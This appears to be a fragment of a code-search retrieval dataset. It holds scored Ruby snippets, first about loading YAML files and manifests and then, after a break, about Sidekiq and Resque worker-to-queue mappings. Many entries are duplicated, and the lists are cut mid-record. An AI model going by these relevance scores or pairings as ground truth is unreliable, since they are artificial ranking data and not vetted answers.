"docid": "75709e12b1f6ba20b40ce6e77737032f",
"score": "0.54899544",
"text": "def load_database_yaml; end",
"title": ""
},
{
"docid": "8e7725f93cbf512660e996dc160b402a",
"score": "0.5487785",
"text": "def role(options={})\n options = {:format => :ruby, :dir => 'roles'}.merge(options)\n content = if options[:format] == :json\n %Q{\n {\n \"chef_type\": \"role\",\n \"json_class\": \"Chef::Role\",\n #{Array(options[:role_name]).map{|r| \"name: #{r},\"}.join(\"\\n\")}\n \"run_list\": [\n \"recipe[apache2]\",\n ]\n }\n }\n else\n %Q{\n #{Array(options[:role_name]).map{|r| \"name #{r}\"}.join(\"\\n\")}\n run_list \"recipe[apache2]\"\n }\n end\n write_file \"#{options[:dir]}/#{options[:file_name]}\", content.strip\n end",
"title": ""
},
{
"docid": "c3ad94e7ae5bb6587c194585434d1fc5",
"score": "0.54874784",
"text": "def recall\n YAML.load_file(yaml_path)\n end",
"title": ""
},
{
"docid": "5cb18b1279068d875e74b40372a3a3ec",
"score": "0.5460513",
"text": "def meta_yaml\n if !(!is_leaf? && !File.exist?(meta_file))\n passed = false\n out = \"\"\n File.open(filename).each_line do |line|\n passed = true if line == \"\\n\"\n break if passed\n out << line\n end\n YAML::load(out)\n else\n {:name => raw_name}\n end\n end",
"title": ""
},
{
"docid": "506cfdd70c6a585f07bcf124ee6ffdd2",
"score": "0.5459736",
"text": "def data\n YAML.load ERB.new(File.read File.expand_path yaml_path).result\n rescue StandardError, SyntaxError => e\n {}\n end",
"title": ""
},
{
"docid": "00055355e051d48e7b22f8c247ce6819",
"score": "0.54482293",
"text": "def read_yaml(base, name)\n self.content = File.read(File.join(base, name))\n \n if self.content =~ /^(---\\s*\\n.*?\\n?)^(---\\s*$\\n?)/m\n self.content = self.content[($1.size + $2.size)..-1]\n \n self.data = YAML.load($1)\n end\n \n self.data ||= {}\n end",
"title": ""
},
{
"docid": "15ccc8dd900d3ad4317ffe1031ca1fa7",
"score": "0.5442236",
"text": "def galaxy_install_info(role_name)\n role_path = File.join(\"deploy\", role_name)\n galaxy_install_info = File.join(role_path, \"meta\", \".galaxy_install_info\")\n\n if (File.directory?(role_path) || File.symlink?(role_path)) && File.exists?(galaxy_install_info)\n YAML.load_file(galaxy_install_info)\n else\n { install_date: \"\", version: \"0.0.0\" }\n end\nend",
"title": ""
},
{
"docid": "e011ed9afd0b8a53c022002a27965c58",
"score": "0.5428638",
"text": "def load_manifest\n manifest_file = File.join(@path, @application_config['bag']['manifest_file'])\n raise \"Missing #{manifest_file}\" unless File.exist? manifest_file\n h = {}\n File.readlines(manifest_file).each do |line|\n hash, path = line.split(' ')\n h[path] = hash\n end\n h\n end",
"title": ""
},
{
"docid": "831bba093b913df339927e706f48a71d",
"score": "0.5414522",
"text": "def from_yaml(filename); end",
"title": ""
},
{
"docid": "a72c928e1753fc3730cc15e585886cd2",
"score": "0.5385851",
"text": "def read_yaml(io=self.io)\n YAML.load(io)\n end",
"title": ""
},
{
"docid": "21fe7eddd996da61081f4389be0244a5",
"score": "0.5382433",
"text": "def manifest\n node.manifest\n end",
"title": ""
},
{
"docid": "57b7839e6c5ea15c4573d6f2bf51a2d6",
"score": "0.5381613",
"text": "def reload\n load_yaml\n end",
"title": ""
},
{
"docid": "f2c3a900bad9bc380125d844ab93a2ea",
"score": "0.5380747",
"text": "def read_yaml(base, name)\n self.content = File.read(File.join(base, name))\n \n if self.content =~ /^(---\\s*\\n.*?)\\n---\\s*\\n/m\n self.content = self.content[($1.size + 5)..-1]\n \n self.data = YAML.load($1)\n end\n end",
"title": ""
},
{
"docid": "03799dbd78fbcf418a03f3e4e94b7c92",
"score": "0.5378837",
"text": "def to_yaml\n manifest_for_export.\n map(&:to_yaml).\n join('')\n end",
"title": ""
},
{
"docid": "7625cf1c887f87f30db4c1b13c61e7ed",
"score": "0.53744704",
"text": "def read_yaml\n self.content = File.read(self.file)\n\n begin\n if self.content =~ /^(---\\s*\\n.*?\\n?)^(---\\s*$\\n?)/m\n self.content = Redcarpet::Markdown.new(\n Redcarpet::Render::HTML,\n :autolink => true,\n :fenced_code_blocks => true\n ).render($POSTMATCH)\n self.data = YAML.load($1)\n end\n rescue => e\n puts \"YAML Exception reading #{self.file}: #{e.message}\"\n end\n\n self.data ||= {}\n end",
"title": ""
},
{
"docid": "6f462b4bc67f4bae3a4fe005686921f6",
"score": "0.53671855",
"text": "def verify_manifest(theme_path)\nmanifest_path = File.join(theme_path, \"manifest.yml\")\nmanifest_file = File.open( manifest_path )\nabort(\"rake aborted: repo must contain valid manifest.yml\") unless File.exist? manifest_file\nmanifest = YAML.load( manifest_file )\nmanifest_file.close\nmanifest\nend",
"title": ""
},
{
"docid": "b19516e1228e294002b5a70c74ec8e2b",
"score": "0.5366285",
"text": "def load_yml(filename); end",
"title": ""
},
{
"docid": "f2926331df82e5586f6c4654b1137e38",
"score": "0.535835",
"text": "def load(string)\n YAML.load string\n end",
"title": ""
},
{
"docid": "f2926331df82e5586f6c4654b1137e38",
"score": "0.535835",
"text": "def load(string)\n YAML.load string\n end",
"title": ""
},
{
"docid": "4df5deb4549d2cf583563d94d9c49eea",
"score": "0.53565794",
"text": "def recall\n YAML.load(File.read(yaml_path))\n end",
"title": ""
},
{
"docid": "2bfed605962ca87649023039372e3b66",
"score": "0.53504974",
"text": "def load_manifest(file)\n Loader.new(file, self).manifest\n end",
"title": ""
},
{
"docid": "4c6b844d453a058b5afb3c6aba8a668a",
"score": "0.5341308",
"text": "def read_yaml_file(filename)\n string_contents = File.read(Rails.root.join('db', 'seed_data', filename))\n YAML.load(string_contents).with_indifferent_access\nend",
"title": ""
},
{
"docid": "c57832e4eda8a9e4cd431d9c49944d1f",
"score": "0.53347117",
"text": "def verify_manifest(theme_path)\n manifest_path = File.join(theme_path, \"manifest.yml\")\n manifest_file = File.open( manifest_path )\n abort(\"rake aborted: repo must contain valid manifest.yml\") unless File.exist? manifest_file\n manifest = YAML.load( manifest_file )\n manifest_file.close\n manifest\nend",
"title": ""
},
{
"docid": "c57832e4eda8a9e4cd431d9c49944d1f",
"score": "0.53347117",
"text": "def verify_manifest(theme_path)\n manifest_path = File.join(theme_path, \"manifest.yml\")\n manifest_file = File.open( manifest_path )\n abort(\"rake aborted: repo must contain valid manifest.yml\") unless File.exist? manifest_file\n manifest = YAML.load( manifest_file )\n manifest_file.close\n manifest\nend",
"title": ""
},
{
"docid": "c57832e4eda8a9e4cd431d9c49944d1f",
"score": "0.53347117",
"text": "def verify_manifest(theme_path)\n manifest_path = File.join(theme_path, \"manifest.yml\")\n manifest_file = File.open( manifest_path )\n abort(\"rake aborted: repo must contain valid manifest.yml\") unless File.exist? manifest_file\n manifest = YAML.load( manifest_file )\n manifest_file.close\n manifest\nend",
"title": ""
},
{
"docid": "c57832e4eda8a9e4cd431d9c49944d1f",
"score": "0.53347117",
"text": "def verify_manifest(theme_path)\n manifest_path = File.join(theme_path, \"manifest.yml\")\n manifest_file = File.open( manifest_path )\n abort(\"rake aborted: repo must contain valid manifest.yml\") unless File.exist? manifest_file\n manifest = YAML.load( manifest_file )\n manifest_file.close\n manifest\nend",
"title": ""
},
{
"docid": "c57832e4eda8a9e4cd431d9c49944d1f",
"score": "0.53347117",
"text": "def verify_manifest(theme_path)\n manifest_path = File.join(theme_path, \"manifest.yml\")\n manifest_file = File.open( manifest_path )\n abort(\"rake aborted: repo must contain valid manifest.yml\") unless File.exist? manifest_file\n manifest = YAML.load( manifest_file )\n manifest_file.close\n manifest\nend",
"title": ""
},
{
"docid": "6dc47947e2fb4d05cce2dc726f245fbf",
"score": "0.5325159",
"text": "def yaml_load filename\n yaml_string = File.read filename\n\n YAML::load yaml_string\nend",
"title": ""
},
{
"docid": "6dc47947e2fb4d05cce2dc726f245fbf",
"score": "0.5325159",
"text": "def yaml_load filename\n yaml_string = File.read filename\n\n YAML::load yaml_string\nend",
"title": ""
},
{
"docid": "6dc47947e2fb4d05cce2dc726f245fbf",
"score": "0.5325159",
"text": "def yaml_load filename\n yaml_string = File.read filename\n\n YAML::load yaml_string\nend",
"title": ""
},
{
"docid": "6dc47947e2fb4d05cce2dc726f245fbf",
"score": "0.5325159",
"text": "def yaml_load filename\n yaml_string = File.read filename\n\n YAML::load yaml_string\nend",
"title": ""
},
{
"docid": "245cb97880d89fa8e0cb2040db132d15",
"score": "0.53174573",
"text": "def load(path)\n YAML::load(File.read(path))\n end",
"title": ""
},
{
"docid": "eb86eb7d7844c6a6014fe4b9b7db50a5",
"score": "0.5308867",
"text": "def read\n @read ||= YAML.load( IO.read( @path ) )\n end",
"title": ""
},
{
"docid": "0368076e46c90826b18d9ca111196f76",
"score": "0.5304182",
"text": "def loadYML( filename)\n hash = YAML::load( File.open( filename ) )\n if $opt_debug\n $stderr.puts hash.keys.size\n end\n return hash\nend",
"title": ""
},
{
"docid": "16abc962792fc70b8b9cb7bb1462043f",
"score": "0.5291596",
"text": "def yaml_load filename\n yaml_string = File.read filename\n YAML::load yaml_string\nend",
"title": ""
},
{
"docid": "f89d5a02d356d9eb0c079f5c73dddbb7",
"score": "0.52828443",
"text": "def create_role(name, data = {})\n load_data(:roles, name, data)\n end",
"title": ""
},
{
"docid": "89f1f162ecf1e09b1948ba6821990419",
"score": "0.52769274",
"text": "def load_meta cache = true\n meta = if @meta_path.extname == '.yml'\n contents = begin\n @meta_path.read\n rescue Exception => error\n raise QB::Role::MetadataError,\n \"Failed to read metadata file at #{ @meta_path.to_s }, \" +\n \"error: #{ error.inspect }\"\n end\n \n begin\n YAML.load(contents) || {}\n rescue Exception => error\n raise QB::Role::MetadataError,\n \"Failed to load metadata YAML from #{ @meta_path.to_s }, \" +\n \"error: #{ error.inspect }\"\n end\n else\n YAML.load(Cmds.out!(@meta_path.realpath.to_s)) || {}\n end\n \n if cache\n @meta = meta\n end\n \n meta\n end",
"title": ""
},
{
"docid": "37e22f127dca84cfc9c8bd778d79d4f4",
"score": "0.5269505",
"text": "def read_yaml(base, name)\n begin\n content = File.read(File.join(base, name))\n\n if content =~ /\\A(---\\s*\\n.*?\\n?)^(---\\s*$\\n?)/m\n self.data = YAML.safe_load($1)\n self.content = $' # everything after the last match\n end\n rescue => e\n puts \"Error reading file #{File.join(base, name)}: #{e.message}\"\n rescue SyntaxError => e\n puts \"YAML Exception reading #{File.join(base, name)}: #{e.message}\"\n end\n\n self.data ||= {}\n end",
"title": ""
},
{
"docid": "7b2bcc678231c32a2e60af880ebf7eb8",
"score": "0.5265466",
"text": "def load_yaml(filename)\n @data = YAML::load(File.open(filename))\n #loops through each subsection under 'people' within the YAML file\n data[:people].each do |info|\n #assigns object to be a New Person with the information gathered from YAML\n object = Person.new(info[:fname], info[:surname], info[:dob])\n #Calls the Add method\n add(object) \n end\n end",
"title": ""
},
{
"docid": "e28200710945922d9a888f2738e6ecae",
"score": "0.52638084",
"text": "def load( filename )\n\t\tself.log.info \"Loading YAML-format configuration from '%s'\" % filename\n\t\treturn YAML.load_file( filename )\n\tend",
"title": ""
},
{
"docid": "0c9a991624a2a1c14cce58182ae6f117",
"score": "0.5238274",
"text": "def load\n @config = OpenStruct.new(load_yml)\n end",
"title": ""
},
{
"docid": "2458397959733cda4fbfd121e3c83295",
"score": "0.5229848",
"text": "def rake_task_config_manifest_generate\n manifest = Mimi::Core::Manifest.new({})\n\n # merge loaded modules manifests\n Mimi.loaded_modules.map(&:manifest).each do |manifest_hash|\n manifest.merge!(manifest_hash)\n end\n\n # merge app's explicit manifest\n app_manifest = Mimi::Config.load_manifest(rake_task_config_manifest_filename)\n manifest.merge!(app_manifest)\n\n manifest.to_yaml\nend",
"title": ""
},
{
"docid": "d429683b679e24aaddbbc9ea7cc30e2e",
"score": "0.5229645",
"text": "def manifest\n record do |m|\n m.directory 'config'\n m.file 'aux_codes.yml', 'config/aux_codes.yml'\n\n unless migration_exists?\n timestamp = Time.now.strftime '%Y%m%d%H%M%S'\n m.directory 'db/migrate'\n m.file 'migration.rb', \"db/migrate/#{ timestamp }_create_aux_codes.rb\"\n end\n end\n end",
"title": ""
},
{
"docid": "c0e09f2671be7b22c7c8018463a4d7d6",
"score": "0.5224478",
"text": "def read_yaml(path)\n return unless File.exist?(path)\n source = YAML.load_file(path)\n return unless source.is_a?(Hash)\n\n update_with { |config| read_yaml_key(source, config[:key]) }\n end",
"title": ""
},
{
"docid": "294f63c5a7edb4e7ae4ab81b8b6773d4",
"score": "0.52215886",
"text": "def load_from_yaml(path)\n self.new(path).to_hash\n end",
"title": ""
},
{
"docid": "6005e3850a3bc03c47476d524566cbbd",
"score": "0.5217374",
"text": "def parse(content)\n YAML.load(content)\n rescue => e\n raise Inspec::Exceptions::ResourceFailed, \"Unable to parse YAML: #{e.message}\"\n end",
"title": ""
},
{
"docid": "458789bf639819e351d839e5ff55c0a6",
"score": "0.5212836",
"text": "def yaml_load data\n\t\t\tdoc = YAML.parse data\n\t\t\tload_classes_for doc\n\t\t\to = doc.transform\n\t\t\treturn o\n\t\tend",
"title": ""
},
{
"docid": "11da94433800038cb7a5dea3dee904a6",
"score": "0.5208326",
"text": "def load_yml\n yml_path = File.expand_path(@path)\n return nil unless File.exists?(yml_path)\n YAML.load_file(yml_path)\n end",
"title": ""
},
{
"docid": "ee309537676a97ff2014051ca9134a15",
"score": "0.52041537",
"text": "def load_from_file\n dotfile = find_file\n YAML.load_file dotfile if dotfile\n end",
"title": ""
},
{
"docid": "11219ce0840fdaa86ae6801a63631024",
"score": "0.5203138",
"text": "def content\n return unless present?\n @content ||= YAML.load(File.open(path))\n end",
"title": ""
},
{
"docid": "f7bad6fd768c7c7304b8562e19877a3d",
"score": "0.52025986",
"text": "def manifest(m, name, config_name=nil)\r\n # setup\r\n clas = app.env.constant(name)\r\n config_name ||= clas.to_s.underscore\r\n config_file = path('config', config_name)\r\n config_file += \".yml\" if File.extname(config_file).empty?\r\n \r\n # generate the dumps\r\n dumps = Configurable::Utils.dump_file(\r\n clas.configurations,\r\n config_file, \r\n nest, \r\n true, \r\n &format_block)\r\n \r\n # now put the dumps to the manifest\r\n m.directory 'config'\r\n \r\n dumps.each do |path, content|\r\n next if content.empty? && !blanks\r\n m.file(path) do |file|\r\n file << content\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "3f722f5a1801b27814f2556b03b16c46",
"score": "0.52020454",
"text": "def load_ads filename\n adsFromYaml = YAML.load_file(filename)\n return adsFromYaml\n end",
"title": ""
},
{
"docid": "dd38cdd57379a58bf1b478a7e5fa267c",
"score": "0.51968807",
"text": "def load(string)\n ::YAML.load string\n end",
"title": ""
},
{
"docid": "3e4a317699c42c85477572a5885adb0a",
"score": "0.5194739",
"text": "def load_yaml!(yml_path)\n nested_hash = YAML.load(ERB.new(File.read(yml_path)).result)\n recursive_load(nested_hash)\n end",
"title": ""
},
{
"docid": "f99bb99240f59359c51bb2c01b60071e",
"score": "0.5192321",
"text": "def load_old_manifest()\n #@output.puts \"Loading old manifest from #{old_commit}\"\n # Load the manifest from #{old_commit}\n old_manifest = YAML.load_file(@old_manifest)\n return old_manifest\n end",
"title": ""
},
{
"docid": "20e42b18074183f264d37d41cfea688a",
"score": "0.5181899",
"text": "def load_yaml(path)\n YAML.load(ERB.new(File.new(path).read).result)[env_name]\n end",
"title": ""
},
{
"docid": "28fcfee64a790dff6f98806187c42600",
"score": "0.51605815",
"text": "def users\n YAML.load_file(yml_path)\nend",
"title": ""
},
{
"docid": "f0af9b160f55fdbc514fe95bf96892bb",
"score": "0.5160387",
"text": "def cli_helper_process_yaml(file_contents='')\n a_hash = YAML.load file_contents\n return a_hash\n end",
"title": ""
},
{
"docid": "50a881af448742bca8e82da222d7a6d0",
"score": "0.5160311",
"text": "def load(filename)\r\n yaml = File.open(yaml_file(filename)) { |f| YAML.load(f) }\r\n # TODO support compressed yaml files, e.g. inside zip\r\n yaml_to_graph(yaml)\r\n end",
"title": ""
},
{
"docid": "fb53fa7c2b91c78db97135cfc1d7e6fe",
"score": "0.51562834",
"text": "def load_yaml(file)\n YAML.load File.open(file)\n end",
"title": ""
},
{
"docid": "f3419593cce9bd45e500c8432e1ce81c",
"score": "0.5155466",
"text": "def data\n YAML.load_file(@path)\n end",
"title": ""
},
{
"docid": "a737be8ec5fb5e5094e3618329f28e25",
"score": "0.5154668",
"text": "def role_to_embed\n raise \"Must be implemented by embed storage to generate a set of roles to embed\"\n end",
"title": ""
},
{
"docid": "9b4a1e46bdc3f413966fa1c5221d62f4",
"score": "0.51519996",
"text": "def read_yaml(content)\n begin\n if content =~ /^(---\\s*\\n.*?\\n?)^(---\\s*$\\n?)/m\n content = $POSTMATCH\n data = YAML.load($1)\n end\n rescue => e\n puts \"YAML Exception reading #{name}: #{e.message}\"\n end\n\n data ||= {}\n content ||= \"\"\n\n [content, data]\n end",
"title": ""
},
{
"docid": "acd121bf929b4d3a7d48247e29ae4675",
"score": "0.5151625",
"text": "def read_manifest\n @entries = File.file?(manifest_file) ? JSON.parse(File.read(manifest_file)) : {}\n\n # convert the manifest JSON into a Hash of ManifestEntry objects\n @entries.each do |file, raw|\n @entries[file] = Rake::Pipeline::ManifestEntry.from_hash(raw)\n end\n\n self\n end",
"title": ""
},
{
"docid": "36cdec0bf3a1f152af8ffa94fd670eba",
"score": "0.5150512",
"text": "def configure_with_yaml\n cfg = load_config(Rails.root.join('config', 'creatary.yml')).freeze\n Creatary.configure(cfg)\n end",
"title": ""
},
{
"docid": "8e52382ffc2bf77584277a5d09056271",
"score": "0.51494044",
"text": "def load_yaml_file\n unless File.exist?('first.yml')\n puts \"file does not exist\"\n end\n @data = YAML.load_file('first.yml')\n puts @data\n\n end",
"title": ""
},
{
"docid": "9664dc80e17e16533ec6527c04586a7b",
"score": "0.5144808",
"text": "def load_manifest\n project_name = options.fetch(\"--project-name\") || nil\n case mode\n when :cage_export\n Manifest.read_from_cage_export(options.fetch('--cage-export') ||\n DEFAULT_CAGE_EXPORT,\n project_name)\n when :manifest\n Manifest.read_from_manifest(options.fetch('--manifest') || DEFAULT_MANIFEST,\n project_name)\n when :file\n info = options.fetch('--file-info')\n if info.nil?\n fatal_err(\"Must pass -i option when using docker-compose.yml\")\n end\n unless info =~ /\\A(service|task):([-_A-Za-z0-9\\z]+)/\n fatal_err(\"Incorrectly formatted -i option\")\n end\n type, name = $1, $2\n Manifest.read_from_file(options.fetch('--file') || DEFAULT_FILE,\n project_name, type.to_sym, name)\n else raise \"Unknown mode: #{mode}\"\n end\n end",
"title": ""
},
{
"docid": "515943af172f7e6d2d02daeee0e8106c",
"score": "0.51290214",
"text": "def to_deserialize\n YAML.load (File.open('output.yml'))\n end",
"title": ""
},
{
"docid": "03de637e9552f0c055f9df3fbfc48eee",
"score": "0.51262593",
"text": "def load\n\t\tres = {}\n\t\tif File.exists? @file\n\t\t\tres = YAML.load_file(@file)\n\t\tend\n\t\treturn res\n\tend",
"title": ""
}
] |
78413248263d5d2c27b2ccb4fb807649
|
Returns a hash of worker class name => mapped queue name
|
[
{
"docid": "7ba987d9485eb1ffe4445ce98f56888d",
"score": "0.811045",
"text": "def worker_queue_mappings\n workers\n .reject { |worker| worker.klass.is_a?(Gitlab::SidekiqConfig::DummyWorker) }\n .to_h { |worker| [worker.klass.to_s, ::Gitlab::SidekiqConfig::WorkerRouter.global.route(worker.klass)] }\n end",
"title": ""
}
] |
[
{
"docid": "2e0c42d84ed76435ef94baa700c20bca",
"score": "0.75922763",
"text": "def queue_names_routing_class(clazz); @worker.class; end",
"title": ""
},
{
"docid": "72c8d8edda8416bb4ce918482c2a7743",
"score": "0.75499266",
"text": "def current_worker_queue_mappings\n worker_queue_mappings\n .select { |worker, queue| Sidekiq.options[:queues].include?(queue) }\n .to_h\n end",
"title": ""
},
{
"docid": "2417ab533cde465d737690331a5682e4",
"score": "0.7151505",
"text": "def worker_class_name\n payload[:worker]\n end",
"title": ""
},
{
"docid": "c838cc86e020a761595818861785914c",
"score": "0.6822365",
"text": "def job_class_name\n worker_name\n end",
"title": ""
},
{
"docid": "2cf6430ba4516909a58d494ee4f08c90",
"score": "0.66675144",
"text": "def worker_queue_attributes message = nil\n @queue ||= []\n {:queue => @queue, :dequeue => :pop, :enqueue => :push}\n end",
"title": ""
},
{
"docid": "437e97b5490d639c77662d7e64006b59",
"score": "0.6647921",
"text": "def naming\n Hightops::Naming::Queue.new(worker_class: self)\n end",
"title": ""
},
{
"docid": "b5eac801ffb3bd46edede87a18481f83",
"score": "0.663057",
"text": "def loaded_worker_classes\n @worker_classes.map { |klass| klass.to_s }\n end",
"title": ""
},
{
"docid": "076d76a999f8ee489b65595ad06215e3",
"score": "0.6574371",
"text": "def queue_names; [@queue_name]; end",
"title": ""
},
{
"docid": "c5d1e468ec9fd1021f7fcd56719faa2a",
"score": "0.6567935",
"text": "def name\n ['worker', self.class.kname, workerid].flatten.join '-'\n end",
"title": ""
},
{
"docid": "2b9b22032c5aec25d5c40bad25d96550",
"score": "0.6553648",
"text": "def queue_hash\n return @queue_hash unless @queue_hash.nil?\n\n @queue_hash = stages.to_h { |stage| [stage, Queue.new] }\n end",
"title": ""
},
{
"docid": "a57fe44f90bd0e5180e70adb2fa4de8f",
"score": "0.65472704",
"text": "def waiting_by_queue\n Hash[@resque_data_store.queue_names.map { |queue_name|\n [queue_name,@resque_data_store.queue_size(queue_name)]\n }]\n end",
"title": ""
},
{
"docid": "e96e4600bfce6abd0e1e06a7e95de234",
"score": "0.65304965",
"text": "def backup_queue_class\n eval(backup_queue_class_name)\n end",
"title": ""
},
{
"docid": "125e441a18a25713952ea1760dd7b04e",
"score": "0.65181977",
"text": "def queues_names\n ans = {}\n queues.map { |name, queue| ans.merge!(name => queue.description) }\n group_queues.map { |name, queues| ans.merge!(name => queues) }\n ans\n end",
"title": ""
},
{
"docid": "efa8d977b961f979249b8e36707066fd",
"score": "0.6506349",
"text": "def for(queue:, worker: nil)\n worker_name = worker.to_s.underscore.tr(\"/\", \"_\") if worker\n [namespace, queue, worker_name].compact.join(\".\")\n end",
"title": ""
},
{
"docid": "fbdc2629bc98e9e0a3e5b763e77088eb",
"score": "0.6459957",
"text": "def running_workers\n worker_pids.map { |pid, queue_key| { pid: pid, queue_key: queue_key } }\n end",
"title": ""
},
{
"docid": "437ee1a6c348633dfef4e8b329117da8",
"score": "0.6433302",
"text": "def queue_name\n self.class.queue_name\n end",
"title": ""
},
{
"docid": "76e5eff8ca82936fab6a4aa1aed1b762",
"score": "0.6431519",
"text": "def redis_key_for_queue_also(queue)\r\n \"queue:#{queue}\"\r\n end",
"title": ""
},
{
"docid": "fcbceb7f435e0f66326bb3917d2d3d42",
"score": "0.6423849",
"text": "def queue_name\n if @queue_name.is_a?(Proc)\n @queue_name = self.class.queue_name_from_part(instance_exec(&@queue_name))\n end\n @queue_name\n end",
"title": ""
},
{
"docid": "81f8096b9b24f2230cde10a08cda1ff9",
"score": "0.64121884",
"text": "def queue_name; end",
"title": ""
},
{
"docid": "81f8096b9b24f2230cde10a08cda1ff9",
"score": "0.64121884",
"text": "def queue_name; end",
"title": ""
},
{
"docid": "81f8096b9b24f2230cde10a08cda1ff9",
"score": "0.64121884",
"text": "def queue_name; end",
"title": ""
},
{
"docid": "5c80628f80b743ba2b57d7bc2be80877",
"score": "0.6407615",
"text": "def request_queues\n @@request_queues ||= Hash.new do |hsh, host_url|\n # As well as acting as a hash key to index the set of request queues for a given target application instance\n # (for which its uniqueness is the only requirement), host_url is also passed to the RequestQueue constructor,\n # from which it is used:\n # (i) by the RequestQueue::Sender to derive the name of the delayed_job queue that will be used to process the\n # queued requests if the sender is invoked in asynchronous mode - see RequestQueue::Sender#schedulerequests.\n # (ii) by the Fragmentary::InternalUserSession instantiated by the Sender to configure the session_host.\n hsh[host_url] = Hash.new do |hsh2, user_type|\n hsh2[user_type] = RequestQueue.new(user_type, host_url)\n end\n end\n end",
"title": ""
},
{
"docid": "05b07fbb6b86db92b1ed07c188f72b48",
"score": "0.64069253",
"text": "def queue_name;@queue_name ||= self.class.to_s.downcase;end",
"title": ""
},
{
"docid": "d25fa541cffb80bdf9a610548b864bb8",
"score": "0.63485193",
"text": "def enqueued_workers_with_class(klass, queue)\n ActiveJob::QueueAdapters::SidekiqAdapter::JobWrapper.jobs.select do |job|\n job_klass = job['wrapped']\n job_queue = job['queue']\n unless VALID_WORKER_QUEUES.include?(job_queue)\n raise \"#{job_klass} has invalid queue: #{job_queue}\"\n end\n (klass.nil? || job_klass == klass.name) && (queue.nil? || job_queue == queue.to_s)\n end\nend",
"title": ""
},
{
"docid": "115cffe0be07c04abfb6146873c09d4c",
"score": "0.6310889",
"text": "def job_class_hash\n @job_class_hash ||= job_classes.each_with_object({}) do |c, a|\n a[c] = c.public_instance_methods(false)\n end\n end",
"title": ""
},
{
"docid": "5c827463e5171cf480ef6546a55e3567",
"score": "0.6308849",
"text": "def queues_of(identity)\n Sidekiq.redis do |redis|\n queues = redis.hget(CommonConstants::MAIN_KEY, identity)\n\n return [] unless queues\n\n JSON.parse(queues).map { |q| QueueName.new(q, :identity => identity) }\n end\n end",
"title": ""
},
{
"docid": "84697ac9b6c9010bb10838eb1adf68eb",
"score": "0.6293432",
"text": "def find_queues(match)\n match = ReMQ.normalize_queue_name(match)\n ReMQ.redis.keys(match)\n end",
"title": ""
},
{
"docid": "4e7518e82a51d2f3413f4bcd7310c2d5",
"score": "0.62508017",
"text": "def hash\n [self.class, name].hash\n end",
"title": ""
},
{
"docid": "4e7518e82a51d2f3413f4bcd7310c2d5",
"score": "0.62508017",
"text": "def hash\n [self.class, name].hash\n end",
"title": ""
},
{
"docid": "4e7518e82a51d2f3413f4bcd7310c2d5",
"score": "0.62508017",
"text": "def hash\n [self.class, name].hash\n end",
"title": ""
},
{
"docid": "d19382eb1ff431757d68b79463aa7378",
"score": "0.62346864",
"text": "def get_list\n result = Hash.new\n\n redis_connection.smembers(worker_classes_list).each do |worker_class|\n worker_class = worker_class.constantize\n\n result[worker_class] = redis_connection.smembers(items_list(worker_class)).map do |params|\n JSON.load(params)\n end\n end\n\n result\n end",
"title": ""
},
{
"docid": "24df228d57bee7c169eed027b2d6e8d6",
"score": "0.6227045",
"text": "def queue_name\n if qualified_klass = self.qualified_const_get(klass) \n queue_name = qualified_klass.instance_variable_get(\"@queue\")\n end\n\n queue_name || :default\n end",
"title": ""
},
{
"docid": "7492ec3772a78af6ca90378b5049a861",
"score": "0.6224563",
"text": "def worker_classes\n @worker_classes ||= begin\n if ENV['WORKERS']\n WorkerDescriptionParser.parse ENV['WORKERS']\n else\n []\n end\n end\n end",
"title": ""
},
{
"docid": "d7df5419c8338821ceaf649e1724beba",
"score": "0.6222823",
"text": "def workers\n @workers ||= {}\n end",
"title": ""
},
{
"docid": "eed3f133539b7eb4416f5063693a9a3f",
"score": "0.62081033",
"text": "def queues\n @queues ||= {}\n end",
"title": ""
},
{
"docid": "3b890b261016209affa84c9fa07ba80f",
"score": "0.62007535",
"text": "def queue_for(method, queue_name)\n @_queue_names ||= {}\n @_queue_names[method] = queue_name\n end",
"title": ""
},
{
"docid": "e1a5c7e05fe95c1ec306c7cb654cc624",
"score": "0.6198634",
"text": "def queues\n data_store.queue_names\n end",
"title": ""
},
{
"docid": "98b513927a0314cd2adb4b18b1484d55",
"score": "0.6192585",
"text": "def queue_name\r\n return @queue_name\r\n end",
"title": ""
},
{
"docid": "a3fda5565d5bc31416aa84ce0adabba7",
"score": "0.61849415",
"text": "def queue_info\n \"pid=#{Process.pid} queue=#{queue_name}\"\n end",
"title": ""
},
{
"docid": "b69cb0295dc05580dff38bcb47ebd424",
"score": "0.61824685",
"text": "def to_queue_json\n {\n name: self.name\n }\n end",
"title": ""
},
{
"docid": "40058450f33acd80aec2a2ec51a2e8ed",
"score": "0.6169993",
"text": "def job\n decode(redis.get(\"#{REDIS_SINGLE_WORKER_KEY}:#{@worker}\")) || {}\n end",
"title": ""
},
{
"docid": "35ddd67201c62e64bac91f3005dd41d2",
"score": "0.61685693",
"text": "def queue_for(clazz=nil, method=nil); @queue_name; end",
"title": ""
},
{
"docid": "a5b31e1e1ceb0ea8d99ff96cef73c057",
"score": "0.6165162",
"text": "def job_enqueued_key(name); end",
"title": ""
},
{
"docid": "0caae8e5eb42766a8377b84e3e9e72ba",
"score": "0.61616445",
"text": "def queues\n Rails.cache.fetch('queues', expires_in: 4.hours) do\n unique_queue_names.map do |queue_name|\n data = {}\n queues_per_cluster.each do |cluster, cluster_queues|\n cluster_queue_names = cluster_queues.map(&:to_s)\n queue_info = cluster_queues.find { |q| q.name == queue_name }\n\n # if the queue doesn't exist on the cluster OR you're not allowed to use the queue\n if !cluster_queue_names.include?(queue_name) || blocked_queue?(queue_info)\n data[\"data-option-for-cluster-#{cluster}\"] = false\n end\n end\n\n [queue_name, queue_name, data]\n end\n rescue StandardError => e\n Rails.logger.warn(\"Did not get queues from system with error #{e}\")\n Rails.logger.warn(e.backtrace.join(\"\\n\"))\n []\n end\n end",
"title": ""
},
{
"docid": "63ab8439ac27cc2b7a1b9bb6bec8450d",
"score": "0.61462533",
"text": "def hash\n [self.class, self.name].hash\n end",
"title": ""
},
{
"docid": "7312211cd1c1d58e76992cd0b0b48909",
"score": "0.61230403",
"text": "def get_names\n @redis.keys(\"*:queue:*\").reject {|q| q =~ /hudson/}\n end",
"title": ""
},
{
"docid": "61f0c2be71af2a9de5adc9a4b535dbe3",
"score": "0.61159813",
"text": "def digest_hash\n @digest_hash ||= {\n class: worker.class.to_s,\n unique_args: unique_args\n }\n end",
"title": ""
},
{
"docid": "1503dd8d09508f7abab68caf08255b25",
"score": "0.6112377",
"text": "def jobs_enqueued_key\n \"stats:jobs:#{self.name}:enqueued\"\n end",
"title": ""
},
{
